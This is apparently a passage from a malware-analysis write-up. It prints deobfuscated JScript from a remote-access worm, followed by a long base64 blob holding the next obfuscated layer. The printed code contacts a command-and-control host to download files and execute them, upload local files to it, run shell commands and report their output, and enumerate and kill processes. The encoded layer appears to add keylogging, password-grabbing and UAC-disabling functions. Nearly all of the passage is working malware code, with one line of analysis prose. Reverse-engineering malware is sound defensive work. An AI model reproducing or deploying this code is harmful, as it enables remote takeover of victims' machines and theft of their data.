WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nshellobj.run(objfsodownload.getFile(strsaveto).shortPath);\r\nupdatestatus(&quot;Executed+File&quot;);\r\n}\r\n}\r\nfunction download (fileurl,filedir){\r\nif(filedir == &quot;&quot;){\r\nfiledir = installdir;\r\n}\r\nstrsaveto = filedir + fileurl.substr(fileurl.lastIndexOf(&quot;\\\\&quot;) + 1);\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\nobjhttpdownload.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port +&quot;\/&quot; + &quot;send-to-me&quot; + spliter + fileurl, false);\r\nobjhttpdownload.setRequestHeader(&quot;user-agent:&quot;, information());\r\nobjhttpdownload.send(&quot;&quot;);\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nshellobj.run(objfsodownload.getFile(strsaveto).shortPath);\r\nupdatestatus(&quot;Executed+File&quot;);\r\n}\r\n}\r\nfunction updatestatus(status_msg){\r\nvar objsoc = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\nobjsoc.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port + &quot;\/&quot; + &quot;update-status&quot; + spliter + status_msg, false);\r\nobjsoc.setRequestHeader(&quot;user-agent:&quot;, information());\r\nobjsoc.send(&quot;&quot;);\r\n}\r\nfunction upload (fileurl, retcmd){\r\ntry{\r\nvar  httpobj,objstreamuploade,buffer;\r\nvar objstreamuploade = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamuploade.Type = 1;\r\nobjstreamuploade.Open();\r\nobjstreamuploade.loadFromFile(fileurl);\r\nbuffer = objstreamuploade.Read();\r\nobjstreamuploade.close();\r\nobjstreamdownload = null;\r\nvar httpobj = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\nhttpobj.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port +&quot;\/&quot; + retcmd, false);\r\nhttpobj.setRequestHeader(&quot;user-agent:&quot;, information());\r\nhttpobj.send(buffer);\r\n}catch(er){\r\nupdatestatus(&quot;Upload+Failed&quot;);\r\n}\r\n}\r\nfunction deletefaf (url){\r\ntry{\r\nfilesystemobj.deleteFile(url);\r\nfilesystemobj.deleteFolder(url);\r\n}catch(err){}\r\n}\r\nfunction cmdshell (cmd){\r\nvar httpobj,oexec,readallfromany;\r\nvar strsaveto = installdir + &quot;out.txt&quot;;\r\nshellobj.run(&quot;%comspec% \/c &quot; + cmd + &quot; &gt; \\&quot;&quot; + strsaveto + &quot;\\&quot;&quot;, 0, true);\r\nreadallfromany = filesystemobj.openTextFile(strsaveto).readAll();\r\ntry{\r\nfilesystemobj.deleteFile(strsaveto);\r\n}catch(ee){}\r\nreturn readallfromany;\r\n}\r\nfunction enumprocess(){\r\nvar ep = &quot;&quot;;\r\ntry{\r\nvar objwmiservice = GetObject(&quot;winmgmts:\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar colitems = objwmiservice.ExecQuery(&quot;select * from win32_process&quot;,null,48);\r\nfor(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){\r\nvar objitem = fi.item();\r\nep = ep + objitem.name + &quot;^&quot;;\r\nep = ep + objitem.processId + &quot;^&quot;;\r\nep = ep + objitem.executablePath + spliter;\r\n}\r\n}catch(er){}\r\nreturn ep;\r\n}\r\nfunction exitprocess (pid){\r\ntry{\r\nshellobj.run(&quot;taskkill \/F \/T \/PID &quot; + pid,0,true);\r\n}catch(err){}\r\n}\r\nfunction getParentDirectory(path){\r\nvar fo = filesystemobj.getFile(path);\r\nreturn filesystemobj.getParentFolderName(fo);\r\n}\r\nfunction enumfaf (enumdir){\r\nvar re = &quot;&quot;;\r\ntry{\r\nfor(var fi = new Enumerator(filesystemobj.getFolder (enumdir).subfolders); !fi.atEnd(); fi.moveNext()){\r\nvar folder = fi.item();\r\nre = re + folder.name + &quot;^^d^&quot; + folder.attributes + spliter;\r\n}\r\nfor(var fi = new Enumerator(filesystemobj.getFolder (enumdir).files); !fi.atEnd(); fi.moveNext()){\r\nvar file = fi.item();\r\nre = re + file.name + &quot;^&quot; + file.size + &quot;^&quot; + file.attributes + spliter;\r\n}\r\n}catch(err){}\r\nreturn re;\r\n}\r\n<\/pre>\n<p>What we now have is some more cleaned up code with some interesting capabilities, but also, at the top, there was another base64 string. So for the next round, all I needed to do is simply decode the base64 string, which gave me the following code.<\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n2nd layer obfuscated --&gt; deobfuscated\r\n============================================\r\ntry{\r\nvar longText1 = &quot;ZnVuY3Rpb24gYmdmdHJld2FzKCl7CglyZXR1cm4gWyJMeTg4V3lCeVpXTnZaR1Z5SURvZ2EyOW5ibWwwYnk+PiVvWXlrZ2MydDVjR1VnT2lCc2FYWmxPblZ1YTI1dmQyNHVjMkZzWlhNMk5DQmRQZ29LTHk4OUxUMHRQUzA5TFQwZ1kyOXVabWxuSUQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUNncDJZWElnYUc5emRDPj4lOUlDSndiSFZuYVc1emNuWXVaSFZqYTJSdWN5NXZjbWNpT3dwMllYSWdjRzl5ZEM+PiU5SURjM05UWTdDblpoY2lCcGJuTjBZV3hzWkdseUlEMGdJaVZoY0hCa1lYUmhKU0k3Q25aaGNpQnlkVzVCYzBGa2JXbHVJRDBnWm1Gc2MyVTdDblpoY2lCc2JtdG1hV3hsSUQwZ2RISjFaVHNLZG1GeUlHeHVhMlp2YkdSbGNpPj4lOUlIUnlkV1U3Q2dwcFppaHlkVzVCYzBGa2JXbHVJRDA5SUhSeWRXVXBld29KYzNSaGNuUjFjRVZzWlhaaGRHVW9LVHNLZlFwcFppaFhVMk55YVhCMExrRnlaM1Z0Wlc1MGN5NU9ZVzFsWkM1RmVHbHpkSE1vSW1Wc1pYWmhkR1ZrSWlrZ1BUMGdkSEoxWlNsN0NnbGthWE5oWW14bFUyVmpkWEpwZEhrb0tUc0tmUW92THowdFBTMDlMVDB0UFNCd2RXSnNhV01nZG1GeUlEMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwS0NuWmhjaUJ6YUdWc2JHOWlhaT4+JTlJRmRUWTNKcGNIUXVZM0psWVhSbFQySnFaV04wS0NKM2MyTnlhWEIwTG5Ob1pXeHNJaWs3Q25aaGNpQm1hV3hsYzNsemRHVnRiMkpxSUQwZ1YxTmpjbWx3ZEM1amNtVmhkR1ZQWW1wbFkzUW9Jbk5qY21sd2RHbHVaeTVtYVd4bGMzbHpkR1Z0YjJKcVpXTjBJaWs3Q25aaGNpQm9kSFJ3YjJKcUlEMGdWMU5qY21sd2RDNWpjbVZoZEdWUFltcGxZM1FvSW0xemVHMXNNaTU0Yld4b2RIUndJaWs3Q2dvS0x5ODlMVDB0UFMwOUxUMGdjSEpwZG1GMElIWmhjaT4+JTlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFFvS2RtRnlJR2x1YzNSaGJHeHVZVzFsSUQwZ1YxTmpjbWx3ZEM1elkzSnBjSFJPWVcxbE93cDJZWElnYzNSaGNuUjFjQz4+JTlJSE5vWld4c2IySnFMbk53WldOcFlXeEdiMnhrWlhKektDSnpkR0Z5ZEhWd0lpa2dLeT4+JWlYRndpT3dwcGJuTjBZV3hzWkdseUlEMGdjMmhsYkd4dlltb3VSWGh3WVc1a1JXNTJhWEp2Ym0xbGJuUlRkSEpwYm1kektHbHVjM1JoYkd4a2FYSXBJQ3NnSWx4Y0lqc0thV1lvSVdacGJHVnplWE4wWlcxdlltb3VabTlzWkdWeVJYaHBjM1J6S0dsdWMzUmhiR3hrYVhJcEtYc2dJR2x1YzNSaGJHeGthWElnUFNCemFHVnNiRzlpYWk1RmVIQmhibVJGYm5acGNtOXViV1Z1ZEZOMGNtbHVaM01vSWlWMFpXMXdKU0lwSUNzZ0lseGNJanQ5Q25aaGNpQnpjR3hwZEdWeUlEMGdJbndpT3dwMllYSWdjMlJyY0dGMGFDPj4lOUlHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJScklqc0tkbUZ5SUhOa2EyWnBiR1VnUFNCelpHdHdZWFJvSUNzZ0lseGNJaT4+JXJJR05vY2lneE1USXBJQ3NnWTJoeUtERXlNU2tnS3lCamFISW9NVEUyS1M+PiVySUdOb2NpZ3hNRFFwSUNzZ1kyaHlLREV4TVNrZ0t5QmphSElvTVRFd0tTPj4lcklHTm9jaWcwTmlrZ0t5QmphSElvTVQ+PiV4S1M+PiVySUdOb2NpZ3hNaj4+JXBJQ3NnWTJoeUtERXdNU2s3Q25aaGNpQnpiR1ZsY0M+PiU5SURVd01EPj4lN0k+PiVwMllYSWdjbVZ6Y0c5dWMyVXNJR050WkN3Z2NHRnlZVzBzSUc5dVpXOXVZMlU3Q2dwMllYSWdhVzVtSUQwZ0lpSTdDblpoY2lCMWMySnpjSEpsWVdScGJtY2dQUz4+JWlJanNLZG1GeUlITjBZWEowWkdGMFpTPj4lOUlDSWlPd29LTHk4OUxUMHRQUzA5TFQwZ1kyOWtaU0J6ZEdGeWRDPj4lOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUW9LYVc1emRHRnVZMlVvS1RzS0NuZG9hV3hsS0hSeWRXVXBld29KZEhKNWV3b0pDV2x1YzNSaGJHd29LVHNLQ2drSmNtVnpjRzl1YzJVZ1BTPj4laUlqc0tJQz4+JWdJQz4+JWdJQ0J5WlhOd2IyNXpaUz4+JTlJSEJ2YzNRZ0tDSnBjeTF5WldGa2VTSXNJaUlwT3dvSkNXTnRaQz4+JTlJSEpsYzNCdmJuTmxMbk53YkdsMEtITndiR2wwWlhJcE93b0pDWE4zYVhSamFDaGpiV1JiTUYwcGV3b2dJQz4+JWdJQz4+JWdJQz4+JWdJQ0JqWVhObElDSmthWE5qYjI1dVpXTjBJam9LQ1FrSkNTPj4lZ1YxTmpjbWx3ZEM1eGRXbDBLQ2s3Q2drSkNRa2dJR0p5WldGck93b0pDUWxqWVhObElDSnlaV0p2YjNRaU9nb0pDUWtKSUNCemFHVnNiRzlpYWk1eWRXNG9JaVZqYjIxemNHVmpKUz4+JXZZeUJ6YUhWMFpHOTNiaT4+JXZjaT4+JXZkQz4+JXdJQzltSWl3Z01Dd2dkSEoxWlNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0p6YUhWMFpHOTNiaUk2Q2drSkNRa2dJSE5vWld4c2IySnFMbkoxYmlnaUpXTnZiWE53WldNbElDOWpJSE5vZFhSa2IzZHVJQzl6SUM5MElEPj4lZ0wyWWlMQz4+JXdMQ0IwY25WbEtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJR05oYzJVZ0ltVjRZMlZqZFhSbElqb0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdjR0Z5WVcwZ1BTQmpiV1JiTVYwN0Nna0pDUWtnSUdWMllXd29jR0Z5WVcwcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWlhVzV6ZEdGc2JDMXpaR3NpT2dvSkNRa0pJQ0JwYm5OMFlXeHNjMlJyS0NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0puWlhRdGNHRnpjeUk2Q2drSkNRa2dJSEJoYzNObmNtRmlZbVZ5S0dOdFpGc3hYU3dnSW1OdFpHTXVaWGhsSWl3Z1kyMWtXekpkS1RzS0NRa0pDUz4+JWdZbkpsWVdzN0Nna0pDV05oYzJVZ0ltZGxkQzF3WVhOekxXOW1abXhwYm1VaU9nb0pDUWtKSUNCd1lYTnpaM0poWW1KbGNpaGpiV1JiTTEwc0lDSmpiV1JqTG1WNFpTSXNJQ0pwWlNJcE93b0pDUWtKSUNCd1lYTnpaM0poWW1KbGNpZ2liblZzYkNJc0lDSmpiV1JqTG1WNFpTSXNJQ0pqYUhKdmJXVWlLVHNLQ1FrSkNTPj4lZ2NHRnpjMmR5WVdKaVpYSW9JbTUxYkd3aUxDPj4laVkyMWtZeTVsZUdVaUxDPj4laWJXOTZhV3hzWVNJcE93b0pDUWtKSUNCd1lYTnpaM0poWW1KbGNqSW9ZMjFrV3pGZExDPj4laVkyMWtZeTVsZUdVaUxDQmpiV1JiTWwwcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWlkWEJrWVhSbElqb0tDUWtKQ1M+PiVnY0dGeVlXMGdQU0J5WlhOd2IyNXpaUzV6ZFdKemRISW9jbVZ6Y0c5dWMyVXVhVzVrWlhoUFppZ2lmQ0lwSUNzZ01TazdDZ2tKQ1FrZ0lHOXVaVzl1WTJVdVkyeHZjMlVvS1RzS0NRa0pDUz4+JWdiMjVsYjI1alpTPj4lOUlHWnBiR1Z6ZVhOMFpXMXZZbW91YjNCbGJsUmxlSFJHYVd4bEtHbHVjM1JoYkd4a2FYSWdLeUJwYm5OMFlXeHNibUZ0WlM+PiVzTWl3Z1ptRnNjMlVwT3dvSkNRa0pJQ0J2Ym1WdmJtTmxMbmR5YVhSbEtIQmhjbUZ0S1RzS0NRa0pDUz4+JWdiMjVsYjI1alpTNWpiRzl6WlNncE93b0pDUWtKSUNCemFHVnNiRzlpYWk1eWRXNG9JbmR6WTNKcGNIUXVaWGhsSUM4dlFpQmNJaUlnS3lCcGJuTjBZV3hzWkdseUlDc2dhVzV6ZEdGc2JHNWhiV1VnS3k+PiVpWENJaUtUc0tDUWtKQ1M+PiVnVjFOamNtbHdkQzV4ZFdsMEtDazdDZ2tKQ1dOaGMyVWdJblZ1YVc1emRHRnNiQ0k2Q2drSkNRa2dJSFZ1YVc1emRHRnNiQ2dwT3dvSkNRa0pJQ0JpY21WaGF6c0tDUWtKWTJGelpTPj4laWRYPj4ldGJpMWxlR1ZqSWpvS0NRa0pDUz4+JWdaRzkzYm14dllXUW9ZMjFrV3pGZExHTnRaRnN5WFNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0ppY21sdVp5MXNiMmNpT2dvSkNRa0pJQ0IxY0d4dllXUW9hVzV6ZEdGc2JHUnBjaT4+JXJJQ0ozYzJoc2IyZHpYRndpSUNzZ1kyMWtXekZkTEM+PiVpZEdGclpTMXNiMmNpS1RzS0NRa0pDUz4+JWdZbkpsWVdzN0Nna0pDV05oYzJVZ0ltUnZkMjR0YmkxbGVHVmpJam9LQ1FrSkNTPj4lZ2MybDBaV1J2ZDI1c2IyRmtaWElvWTIxa1d6RmRMR050WkZzeVhTazdDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUM+PiVpWm1sc1pXMWhibUZuWlhJaU9nb0pDUWtKSUNCelpYSjJhV05sYzNSaGNuUmxjaWhqYldSYk1WMHNJQ0ptYlMxd2JIVm5hVzR1WlhobElpd2dhVzVtYjNKdFlYUnBiMjRvS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWljbVJ3SWpvS0NRa0pDUz4+JWdjMlZ5ZG1salpYTjBZWEowWlhJb1kyMWtXekZkTEM+PiVpY21RdGNHeDFaMmx1TG1WNFpTSXNJR2x1Wm05eWJXRjBhVzl1S0NrcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWdJbXRsZVd4dloyZGxjaUk2Q2drSkNRa2dJR3RsZVd4dloyZGxjbk4wWVhKMFpYSW9ZMjFrV3pGZExDPj4laWEyd3RjR3gxWjJsdUxtVjRaU0lzSUdsdVptOXliV0YwYVc5dUtDa3NJRD4+JXBPd29KQ1FrSklDQmljbVZoYXpzS0NRa0pZMkZ6WlM+PiVnSW05bVpteHBibVV0YTJWNWJHOW5aMlZ5SWpvS0NRa0pDUz4+JWdhMlY1Ykc5bloyVnljM1JoY25SbGNpaGpiV1JiTVYwc0lDSnJiQzF3YkhWbmFXNHVaWGhsSWl3Z2FXNW1iM0p0WVhScGIyNG9LU3dnTVNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlZbkp2ZDNObExXeHZaM01pT2dvSkNRa0pJQ0J3YjNOMEtDSnBjeTFzYjJkeklpd2daVzUxYldaaFppaHBibk4wWVd4c1pHbHlJQ3NnSW5kemFHeHZaM01pS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlZMjFrTFhOb1pXeHNJam9LQ1FrSkNTPj4lZ2NHRnlZVzBnUFNCamJXUmJNVjA3Q2drSkNRa2dJSEJ2YzNRb0ltbHpMV050WkMxemFHVnNiQ0lzWTIxa2MyaGxiR3dvY0dGeVlXMHBLVHNLQ1FrSkNTPj4lZ1luSmxZV3M3Q2drSkNXTmhjMlVnSUNKblpYUXRjSEp2WTJWemMyVnpJam9LQ1FrSkNTPj4lZ2NHOXpkQ2dpYVhNdGNISnZZMlZ6YzJWeklpd2daVzUxYlhCeWIyTmxjM01vS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlaR2x6WVdKc1pTMTFZV01pT2dvSkNRa0pJQ0JrYVhOaFlteGxVMlZqZFhKcGRIa29LVHNLQ1FrSkNTPj4lZ2RYQmtZWFJsYzNSaGRIVnpLQ0pWUVVNclJHbHpZV0pzWldRcktGSmxZbTl2ZEN0U1pYRjFhWEpsWkNraUtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0pqYUdWamF5MWxiR2xuYVdKc1pTSTZDZ2tKQ1FrZ0lHbG1LR1pwYkdWemVYTjBaVzF2WW1vdVptbHNaVVY0YVhOMGN5aGpiV1JiTVYwcEtYc0tDUWtKQ1FsMWNHUmhkR1Z6ZEdGMGRYTW9Ja2x6SzBWc2FXZHBZbXhsSWlrN0Nna0pDUWtnSUgxbGJITmxld29KQ1FrSkNYVndaR0YwWlhOMFlYUjFjeWdpVG05MEswVnNhV2RwWW14bElpazdDZ2tKQ1FrZ0lIMEtDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0ptYjNKalpTMWxiR2xuYVdKc1pTSTZDZ2tKQ1FrZ0lHbG1LRmRUWTNKcGNIUXVRWEpuZFcxbGJuUnpMazVoYldWa0xrVjRhWE4wY3lnaVpXeGxkbUYwWldRaUtTPj4lOVBTQjBjblZsS1hzS0NRa0pDUWxwWmlobWFXeGxjM2x6ZEdWdGIySnFMbVp2YkdSbGNrVjRhWE4wY3loamJXUmJNVjBwS1hzS0NRa0pDUWtKYzJobGJHeHZZbW91Y25WdUtDSWxZMjl0YzNCbFl5VWdMMk1nSWk+PiVySUdOdFpGc3lYU3dnTUN3Z2RISjFaU2s3Q2drSkNRa0pDWFZ3WkdGMFpYTjBZWFIxY3lnaVUxVkRRMFZUVXlJcE93b0pDUWtKQ1gxbGJITmxld29KQ1FrSkNRbDFjR1JoZEdWemRHRjBkWE1vSWtOdmJYQnZibVZ1ZEN0TmFYTnphVzVuSWlrN0Nna0pDUWtKZlFvSkNRa0pJQ0I5Q2drSkNRa2dJR1ZzYzJWN0Nna0pDUWtKZFhCa1lYUmxjM1JoZEhWektDSkZiR1YyWVhScGIyNHJVbVZ4ZFdseVpXUWlLVHNLQ1FrSkNTPj4lZ2ZRb0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWdJbVZzWlhaaGRHVWlPZ29KQ1FrSklDQnBaaWhYVTJOeWFYQjBMa0Z5WjNWdFpXNTBjeTVPWVcxbFpDNUZlR2x6ZEhNb0ltVnNaWFpoZEdWa0lpa2dQVDBnWm1Gc2MyVXBld29KQ1FrSkNYUnllWHNLQ1FrSkNRa2dJRzl1Wlc5dVkyVXVZMnh2YzJVb0tUc0tDUWtKQ1FrZ0lHOXVaVzl1WTJVZ1BTQnVkV3hzT3dvSkNRa0pDUz4+JWdWMU5qY21sd2RDNURjbVZoZEdWUFltcGxZM1FvSWxOb1pXeHNMa0Z3Y0d4cFkyRjBhVzl1SWlrdVUyaGxiR3hGZUdWamRYUmxLQ0ozYzJOeWFYQjBMbVY0WlNJc0lDSWdMeTlDSUZ3aUlpPj4lcklGZFRZM0pwY0hRdVUyTnlhWEIwUm5Wc2JFNWhiV1VnS3k+PiVpWENJZ0wyVnNaWFpoZEdWa0lpd2dJaUlzSUNKeWRXNWhjeUlzSURFcE93b0pDUWtKQ1M+PiVnZFhCa1lYUmxjM1JoZEhWektDSkRiR2xsYm5RclJXeGxkbUYwWldRaUtUc0tDUWtKQ1FsOVkyRjBZMmdvYm00cGV3b0pDUWtKQ1gwS0NRa0pDUWxYVTJOeWFYQjBMbkYxYVhRb0tUc0tDUWtKQ1M+PiVnZlFvSkNRa0pJQ0JsYkhObGV3b0pDUWtKSUM+PiVKSUNCMWNHUmhkR1Z6ZEdGMGRYTW9Ja05zYVdWdWRDdEZiR1YyWVhSbFpDSXBPd29KQ1FrSklDQjlDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUM+PiVpYVdZdFpXeGxkbUYwWlNJNkNna0pDUWtnSUdsbUtGZFRZM0pwY0hRdVFYSm5kVzFsYm5SekxrNWhiV1ZrTGtWNGFYTjBjeWdpWld4bGRtRjBaV1FpS1M+PiU5UFNCbVlXeHpaU2w3Q2drSkNRa0pJQ0IxY0dSaGRHVnpkR0YwZFhNb0lrTnNhV1Z1ZEN0T2IzUXJSV3hsZG1GMFpXUWlLVHNLQ1FrSkNTPj4lZ2ZRb0pDUWtKSUNCbGJITmxld29KQ1FrSklDPj4lSklDQjFjR1JoZEdWemRHRjBkWE1vSWtOc2FXVnVkQ3RGYkdWMllYUmxaQ0lwT3dvSkNRa0pJQ0I5Q2drSkNRa2dJR0p5WldGck93b0pDUWxqWVhObElDPj4laWEybHNiQzF3Y205alpYTnpJam9LQ1FrSkNTPj4lZ1pYaHBkSEJ5YjJObGMzTW9ZMjFrV3pGZEtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0p6YkdWbGNDSTZDZ2tKQ1FrZ0lIQmhjbUZ0SUQwZ1kyMWtXekZkT3dvSkNRa0pJQ0J6YkdWbGNDPj4lOUlHVjJZV3dvY0dGeVlXMHBPd29nSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCaWNtVmhhenNLQ1FsOUNna0pDZ2w5WTJGMFkyZ29aWElwZTMwS0NWZFRZM0pwY0hRdWMyeGxaWD4+JW9jMnhsWlg+PiVwT3dwOUNncG1kVzVqZEdsdmJpQnBibk4wWVd4c2MyUnJLQ2w3Q2dsMGNubDdDZ2tKZG1GeUlITmthM1Z5YkM+PiU5SUhCdmMzUW9JbTF2ZWkxelpHc2lMQz4+JWlJaWs3Q2drSmRtRnlJRzlpYW1oMGRIQmtiM2R1Ykc5aFpDPj4lOUlGZFRZM0pwY0hRdVEzSmxZWFJsVDJKcVpXTjBLQ0p0YzNodGJESXVlRzFzYUhSMGNDSXBPd29KQ1c5aWFtaDBkSEJrYjNkdWJHOWhaQzV2Y0dWdUtDSm5aWFFpTENCelpHdDFjbXdzSUdaaGJITmxLVHNLQ1FsdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpWTJGamFHVXRZMjl1ZEhKdmJEb2lMQz4+JWliV0Y0TFdGblpUMHdJaWs3Q2drSmIySnFhSFIwY0dSdmQyNXNiMkZrTG5ObGJtUW9LVHNLQ2drSmFXWW9abWxzWlhONWMzUmxiVzlpYWk1bWFXeGxSWGhwYzNSektHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJSckxucHBjQ0lwS1hzS0NRa0pabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZHYVd4bEtHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJSckxucHBjQ0lwT3dvSkNYMEtDUWtnQ2drSmFXWWdLRzlpYW1oMGRIQmtiM2R1Ykc5aFpDNXpkR0YwZFhNZ1BUMGdNaj4+JXdLWHNLQ1FrZ0lIUnllWHNLQ1FrZ0lDQjJZWElnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ1YxTmpjbWx3ZEM1RGNtVmhkR1ZQWW1wbFkzUW9JbUZrYjJSaUxuTjBjbVZoYlNJcE93b0pDUz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbFI1Y0dVZ1BTPj4leE95Pj4lS0NRa2dJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVQY0dWdUtDazdDZ2tKSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VjNKcGRHVW9iMkpxYUhSMGNHUnZkMjVzYjJGa0xuSmxjM0J2Ym5ObFFtOWtlU2s3Q2drSklDPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVUyRjJaVlJ2Um1sc1pTaHBibk4wWVd4c1pHbHlJQ3NnSW5kemFITmtheTU2YVg+PiVpS1RzS0NRa2dJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVqYkc5elpTZ3BPd29KQ1M+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1FrZ0lIMWpZWFJqYUNobGVpbDdDZ2tKQ1FvSkNTPj4lZ2ZRb0pDWDBLQ1FscFppaG1hV3hsYzNsemRHVnRiMkpxTG1acGJHVkZlR2x6ZEhNb2FXNXpkR0ZzYkdScGNpPj4lcklDSjNjMmh6WkdzdWVtbHdJaWtwZXdvSkNRa3ZMM1Z1ZW1sd0lIUm9aU0JtYVd4bEk+PiVvSkNRbFZibHBwY0NocGJuTjBZV3hzWkdseUlDc2dJbmR6YUhOa2F5NTZhWD4+JWlMQ0J6Wkd0d1lYUm9LVHNLQ1FrSmRYQmtZWFJsYzNSaGRIVnpLQ0pUUkVzclNXNXpkR0ZzYkdWa0lpazdDZ2tKZlFvSmZXTmhkR05vS0dWeWNpbDdmUXA5Q2dwbWRXNWpkR2x2YmlCcGJuTjBZV3hzS0NsN0NuWmhjaUJzYm10dlltbzdDblpoY2lCbWFXeGxibUZ0WlRzS2RtRnlJR1p2YkdSbGNtNWhiV1U3Q25aaGNpQm1hV3hsYVdOdmJqc0tkbUZ5SUdadmJHUmxjbWxqYjI0N0NncDFjSE4wWVhKMEtDazdDZ3BtYjNJb2RtRnlJR1J5YVM+PiU5SUc1bGR5QkZiblZ0WlhKaGRHOXlLR1pwYkdWemVYTjBaVzF2WW1vdVpISnBkbVZ6S1RzZ0lXUnlhUzVoZEVWdVpDZ3BPeUJrY21rdWJXOTJaVTVsZUhRb0tTbDdDblpoY2lCa2NtbDJaUz4+JTlJR1J5YVM1cGRHVnRLQ2s3Q21sbUlDaGtjbWwyWlM1cGMzSmxZV1I1SUQwOUlIUnlkV1VwZXdwcFppPj4lb1pISnBkbVV1Wm5KbFpYTndZV05sSUQ0Z01DPj4lcGV3cHBaaT4+JW9aSEpwZG1VdVpISnBkbVYwZVhCbElEMDlJREVnS1hzS0NYUnllWHNLQ1FsbWFXeGxjM2x6ZEdWdGIySnFMbU52Y0hsR2FXeGxLRmRUWTNKcGNIUXVjMk55YVhCMFJuVnNiRTVoYldVZ0xDQmtjbWwyWlM1d1lYUm9JQ3NnSWx4Y0lpPj4lcklHbHVjM1JoYkd4dVlXMWxMSFJ5ZFdVcE93b0pDV2xtSUNobWFXeGxjM2x6ZEdWdGIySnFMbVpwYkdWRmVHbHpkSE1nS0dSeWFYWmxMbkJoZEdnZ0t5Pj4laVhGd2lJQ3NnYVc1emRHRnNiRzVoYldVcEtYc0tDUWtKWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJHYVd4bEtHUnlhWFpsTG5CaGRHZ2dLeT4+JWlYRndpSUM+PiVySUdsdWMzUmhiR3h1WVcxbEtTNWhkSFJ5YVdKMWRHVnpJRDBnTWlzME93b0pDWDBLQ1gxallYUmphQ2hsYVdwMUtYdDlDaT4+JWdJQ0JtYjNJb2RtRnlJR1pwSUQwZ2JtVjNJRVZ1ZFcxbGNtRjBiM0lvWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJtYjJ4a1pYSW9aSEpwZG1VdWNHRjBhQz4+JXJJQ0pjWENJcExtWnBiR1Z6S1RzZ0lXWnBMbUYwUlc1a0tDazdJR1pwTG0xdmRtVk9aWGgwS0NrcGV3b0pDWFJ5ZVhz